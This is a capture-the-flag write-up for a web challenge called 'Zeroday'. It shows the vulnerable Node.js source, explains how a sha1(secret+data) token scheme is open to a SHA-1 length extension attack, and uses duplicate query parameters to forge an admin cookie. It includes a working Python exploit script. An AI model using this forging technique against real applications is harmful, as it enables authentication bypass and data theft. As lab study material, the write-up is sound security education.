🪲 Zeroday (Score: 380 / Solves: 12)
Description
Found too many zerodays to keep count of them? Zeroday is your new bugtracker. Beta version access available only for our partners. Stay tuned for open access.
Source Code
zeroday_src_app.js
const express = require('express');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const initSQL = require('sql.js');
const smoltok = require('smoltok');
const crypto = require('crypto');
const app = express();
app.set('view engine', 'ejs');
const port = 1337;
const secret = crypto.randomBytes(64).toString("hex");
let db;
initSQL().then(async sql => {
db = new sql.Database();
db.exec("CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT NOT NULL, password TEXT NOT NULL)");
db.exec("CREATE TABLE bugs (id INTEGER PRIMARY KEY, user_id INTEGER, title TEXT NOT NULL, FOREIGN KEY(user_id) REFERENCES users(id))");
db.exec("INSERT INTO users (id, username, password) VALUES (1, 'adam', 'pwd')");
db.exec("INSERT INTO users (id, username, password) VALUES (2, 'admin', '" + crypto.randomBytes(40).toString("hex") + "')")
db.exec("INSERT INTO bugs (id, user_id, title) VALUES (1, 1, 'Donut dispenser is getting stuck twice a day')");
db.exec("INSERT INTO bugs (id, user_id, title) VALUES (2, 1, 'Coffee machine brews tea')")
db.exec("INSERT INTO bugs (id, user_id, title) VALUES (3, 2, '" + (process.env.flag || "1753c{fake_flag}") + "')")
});
app.use(bodyParser.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static("public"));
app.get('/login', (req, res) => {
res.render("login");
})
app.post('/login', (req, res) => {
const stmt = db.prepare("SELECT * FROM users WHERE username=:username AND password=:password");
stmt.bind({ ':username': req.body["username"], ':password': req.body["password"] });
if (!stmt.step()) {
res.render("login", { error: "Incorrect login" });
}
else {
const token = smoltok.encode({ "username": req.body["username"] }, secret);
res.cookie("token", token);
res.redirect("/");
}
stmt.free();
})
app.use((req, res, next) => {
try {
const token = req.cookies.token;
req.user = smoltok.decode(token, secret);
next();
}
catch (err) {
res.redirect("/login")
}
})
app.get('/', (req, res) => {
const results = db.exec("SELECT b.title FROM bugs b JOIN users u ON b.user_id = u.id WHERE u.username like '" + req.user.username + "'")
res.render("bugs", { results: results && results.length > 0 ? results[0].values : [], user: req.user })
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`);
})
Flag
1753c{well_youve_just_found_a_zero_day_on_npm}
Summary
- Length extension attack
- Become admin using a technique similar to HTTP Parameter Pollution with
URLSearchParamsandObject.fromEntries(No SQLi)
Initial Analysis
// zeroday_src_app.js
initSQL().then(async sql => {
db = new sql.Database();
db.exec("CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT NOT NULL, password TEXT NOT NULL)");
db.exec("CREATE TABLE bugs (id INTEGER PRIMARY KEY, user_id INTEGER, title TEXT NOT NULL, FOREIGN KEY(user_id) REFERENCES users(id))");
db.exec("INSERT INTO users (id, username, password) VALUES (1, 'adam', 'pwd')");
db.exec("INSERT INTO users (id, username, password) VALUES (2, 'admin', '" + crypto.randomBytes(40).toString("hex") + "')")
db.exec("INSERT INTO bugs (id, user_id, title) VALUES (1, 1, 'Donut dispenser is getting stuck twice a day')");
db.exec("INSERT INTO bugs (id, user_id, title) VALUES (2, 1, 'Coffee machine brews tea')")
db.exec("INSERT INTO bugs (id, user_id, title) VALUES (3, 2, '" + (process.env.flag || "1753c{fake_flag}") + "')")
});
The flag is in the bugs table.
// zeroday_src_app.js
app.use((req, res, next) => {
try {
const token = req.cookies.token;
req.user = smoltok.decode(token, secret);
next();
}
catch (err) {
res.redirect("/login")
}
})
The user is identified by a token stored in the cookie.
// zeroday_src_app.js
app.get('/', (req, res) => {
const results = db.exec("SELECT b.title FROM bugs b JOIN users u ON b.user_id = u.id WHERE u.username like '" + req.user.username + "'")
res.render("bugs", { results: results && results.length > 0 ? results[0].values : [], user: req.user })
})
To get the flag, we need to create a token as an admin, save it to the cookie, and then access /.
// zeroday_src_app.js
app.post('/login', (req, res) => {
const stmt = db.prepare("SELECT * FROM users WHERE username=:username AND password=:password");
stmt.bind({ ':username': req.body["username"], ':password': req.body["password"] });
if (!stmt.step()) {
res.render("login", { error: "Incorrect login" });
}
else {
const token = smoltok.encode({ "username": req.body["username"] }, secret);
res.cookie("token", token);
res.redirect("/");
}
stmt.free();
})
The token is created using the NPM package called smoltok.
// smoltok/index.js
const crypto = require("crypto");
const padBase64 = (base64String) => {
const padLength = (4 - (base64String.length % 4)) % 4;
return base64String + '='.repeat(padLength);
};
module.exports = {
"encode": function (input, secret) {
const data = new URLSearchParams(input).toString();
const signature = crypto.createHash("sha1").update(Buffer.concat([Buffer.from(secret), Buffer.from(data)])).digest("base64");
return Buffer.from(data).toString('base64').split('=').join('') + "." + signature.split('=').join('');
},
"decode": function (token, secret) {
let [b64data, tokenSignature] = token.split(".").map(padBase64);
const data = Buffer.from(b64data, 'base64');
const signature = crypto.createHash("sha1").update(Buffer.concat([Buffer.from(secret), data])).digest("base64");
if (tokenSignature != signature)
throw new Error("Invalid signature");
const entries = new URLSearchParams(data.toString('utf-8').replace(/[^ -~]/g, ''));
return Object.fromEntries(entries)
}
}
The token consists of b64(data).rstrip("=") + . + signature.rstrip("=").
The signature is generated as b64(sha1(secret+data)).
// zeroday_src_app.js
const secret = crypto.randomBytes(64).toString("hex");
Node.js Console:
> crypto.randomBytes(64).toString("hex").length;
128
The length of secret is 128.
Also, regarding smoltok.decode(), when there are two same parameters in URLSearchParams, Object.fromEntries returns the latter parameter.
> entries = new URLSearchParams("username=adamaaaaa&username=admin".toString('utf-8').replace(/[^ -~]/g, ''));
URLSearchParams { 'username' => 'adamaaaaa', 'username' => 'admin' }
> Object.fromEntries(entries)
{ username: 'admin' }
Thus, if we can generate the signature for the data username=adam...&username=admin using a length extension attack, we can get the flag.
Solution
Requirements:
- iagox86/hash_extender should be installed in
~/tools/hash_extender/hash_extender
exploit.py
import re
import requests
from base64 import b64decode, b64encode
import subprocess
from urllib.parse import unquote
requests.packages.urllib3.disable_warnings()
s = requests.Session()
s.verify = False
# s.proxies = {"https": "http://127.0.0.1:8080"}
base_url = "https://zeroday-3e5a363a1e8f.1753ctf.com"
def padBase64(base64String):
padLength = (4 - (len(base64String) % 4)) % 4
return base64String + "=" * padLength
def length_extension_attack(token):
data, signature = map(lambda x: b64decode(padBase64(unquote(x))), token.split("."))
result = subprocess.run(
f"~/tools/hash_extender/hash_extender --signature {signature.hex()} -l 128 --data {data.decode()} --append '&username=admin' --format sha1 --table",
shell=True,
capture_output=True,
check=True,
)
signature, data = map(
lambda x: b64encode(bytes.fromhex(x)).decode().rstrip("="),
result.stdout.decode().split()[1:],
)
return f"{data}.{signature}"
def main():
s.post(
f"{base_url}/login",
data={"username": "adam", "password": "pwd"},
allow_redirects=False,
)
new_token = length_extension_attack(s.cookies.get("token"))
s.cookies.clear()
s.cookies["token"] = new_token
resp = s.get(base_url)
if m := re.findall(r"1753c{.*}", resp.text):
print(m[0])
if __name__ == "__main__":
main()
Result:
$ python3 exploit.py
1753c{well_youve_just_found_a_zero_day_on_npm}